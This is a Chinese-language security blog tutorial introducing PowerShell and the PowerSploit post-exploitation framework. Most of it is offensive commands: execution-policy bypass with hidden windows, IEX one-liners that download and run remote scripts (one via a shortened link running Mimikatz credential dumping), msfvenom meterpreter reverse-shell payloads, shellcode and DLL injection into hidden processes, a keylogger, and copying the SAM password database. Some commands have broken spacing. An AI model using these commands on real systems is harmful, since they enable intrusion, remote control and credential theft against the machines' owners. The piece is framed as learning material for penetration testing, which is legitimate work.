未加星标

Powershell & Powersploit 入门

字体大小 | |
[web安全 所属分类 web安全 | 发布者 店小二03 | 时间 2017 | 作者 红领巾 ] 0人收藏点击收藏

本文《Powershell & Powersploit 入门》由armyzer0团队原创投稿安全脉搏,安全脉搏发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。

PowerShell 是运行在 windows上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符 cmd.exe 的扩充,或是颠覆。Powershell 需要.NET环境的支持,同时支持.NET对象。其可读性,易用性,可以位居当前所有 shell 之首。


Powershell & Powersploit 入门

当前 PowerShell 有四版本,分别为 1.0,2.0,3.0 ,4.0


Powershell & Powersploit 入门

安全脉搏上关于Powershell的文章非常多,参见这里:https://www.secpulse.com/archives/tag/powershell

PowerShell 简介
Powershell & Powersploit 入门

Powershell & Powersploit 入门

 

PowerShell 脚本

 

 

* 本地权限绕过执行 PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1

 

* 本地隐藏权限绕过执行脚本 PowerShell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive-NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1

 

* 直接用IEX下载远程的PS1脚本回来权限绕过执行 powershell "IEX (New-ObjectNet.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

 

* 远程代码执行IEX (New-Object

Net.WebClient).DownloadString(“http://<ip_address>/path/xxx.ps1”)

 

Powersploit

一款基于powershell的后渗透(Post-Exploitation)框架,集成大量渗透相关模块和功能。

[https://github.com/mattifestation/PowerSploit][1]

 

##linux下简易安装和搭建Powersploit(用于测试,请勿使用非法用途)

Linux git clone powerspolit


Powershell & Powersploit 入门

开启Apache服务


Powershell & Powersploit 入门

搭建简易可下载powersploit脚本的服务器


Powershell & Powersploit 入门
##Powersploit模块简介

* CodeExecution 在目标主机执行代码

* ScriptModification 在目标主机上创建或修改脚本

* Persistence 后门脚本(持久性控制)

* AntivirusBypass 发现杀软查杀特征

* Exfiltration 目标主机上的信息搜集工具

* Mayhem 蓝屏等破坏性脚本

* Recon 以目标主机为跳板进行内网信息侦查

 

##Powersploit模块运用

Invoke-Shellcode 此模块结合MSF使用可以达到意想不到的效果,在这理就不介绍。

 

先在目标主机安装“Invoke-Shellcode”脚本,使用Get-Help + 脚本名可以查看使用方法:

命令格式:

IEX (New-ObjectNet.WebClient).DownloadString("http://IP Adress/CodeExecutio

n/Invoke--Shellcode.ps1")


Powershell & Powersploit 入门

 

一:在MSF里面使用reverse_https模块进行反弹,设置如下
Powershell & Powersploit 入门

本来在Invoke-Shellcode直接使用以下这条命令进行反弹的:

Invoke-Shellcode -Payload windows/meterpreter/reverse_https –Lhost192.168.146.129 -Lport 4444 -Force

但是Powersploit更新到了3.0,Invoke-Shellcode脚本没有Lhost和Lport参数,所以我们需要用到另外一种方法实现。

使用msfvenom生成一个powershell脚本。

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.110.129 LPORT=4444 -f powershell -o /var/www/html/test


Powershell & Powersploit 入门

IEX(New-Object Net.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Invoke-Shellcode.ps1")

IEX (New-Object Net.WebClient).DownloadString("http://192.168.110.129/test")

Invoke-Shellcode -Shellcode ($buf)


Powershell & Powersploit 入门

Powershell & Powersploit 入门

 

 

二:进程注入

首先创建一个隐藏的进程:

Start-Processc:\windows\system32\notepad.exe -WindowStyle Hidden

使用Get-Process命令查看当前进程,记住你刚刚创建的隐藏进程ID


Powershell & Powersploit 入门

然后使用Invoke-Shellcode脚本进行进程注入

Invoke-Shellcode -ProcessID 2384 -Shellcode ($buf)


Powershell & Powersploit 入门

要是你的Powersploit是2.2版本的那么可以直接使用以下命令

Invoke-Shellcode -ProcessID 2384 –Payload

windows/meterpreter/reverse_https -Lhost 192.168.100.129 -Lport 4444

 

三:DLL注入

Invoke-DLLInjection 是DLL注入脚本

首先下载安装DLL注入脚本到目标机器

IEX (New-ObjectNet.WebClient).DownloadString("http://192.168.110.129/CodeExecution/Inv

oke-DllInjection.ps1")

 

在MSF里面生成一个DLL注入脚本,然后下载DLL文件使用Invoke-DLLInjection脚本来实现DLL注入

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=4444 -f dll –o /var/www/html/msf.dll


Powershell & Powersploit 入门

为什么使我们的注入更加隐蔽,我们开启一个隐藏进程来进行DLL注入

Start-Process c:\windows\system32\notepad.exe -WindowStyle Hidden


Powershell & Powersploit 入门

Invoke-DllInjection -ProcessID 4080 -Dll .\msf.dll


Powershell & Powersploit 入门

Powershell & Powersploit 入门

Invoke-Portscan端口扫描

Invoke-Portscan -Hosts <IP Adress/Rangr> -Ports


Powershell & Powersploit 入门

 

Invoke-Mimikatz DUMP密码(注意此脚本需要用管理员权限运行)

Invoke-Mimikatz –DumpCreds也可以直接运行


Powershell & Powersploit 入门

Get-Keystrokes 键盘记录器

Get-Keystrokes -LogPath + <保存位置>


Powershell & Powersploit 入门

 

 

Invoke-NinjaCopy 万能复制

Invoke-NinjaCopy -Path <需要复制的文件>-LocalDestination <复制文件保存位置>

像windows主机里有个数据库SAM文件,里面数据很多有价值的信息,普通的COPY命令是无法复制的,使用万能复制可以复制SAM文件


Powershell & Powersploit 入门

 

Invoke-ReverseDnsLookupDNS查询(好像没什么用--!,望大家告诉我这玩意有什么用)

Invoke-ReverseDnsLookup -IpRange <IP_Address/Range>


Powershell & Powersploit 入门

Get-HttpStatus 网站目录检测(好像没什么用)

Get-HttpStatus –Target <IP Address>+ 字典 (如果遇到的是HTTPS的那么后面加-UseSSL,在其他端口的那么–Port )


Powershell & Powersploit 入门

 

本文《Powershell & Powersploit 入门》由armyzer0团队原创投稿安全脉搏,安全脉搏发表本文,如需要转载,请先联系安全脉搏授权;未经授权请勿转载。

 

本文web安全相关术语:黑盒测试方法 黑盒测试和白盒测试 网站安全检测 360网站安全检测 网络安全知识 网络安全技术 网络信息安全 网络安全工程师

tags: Invoke,Shellcode,脚本,lt,gt,Powersploit,DLL,https,http,WebClient,IEX,Get,New
分页:12
转载请注明
本文标题:Powershell & Powersploit 入门
本站链接:https://www.codesec.net/view/536874.html


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | web安全 | 评论(0) | 阅读(1281)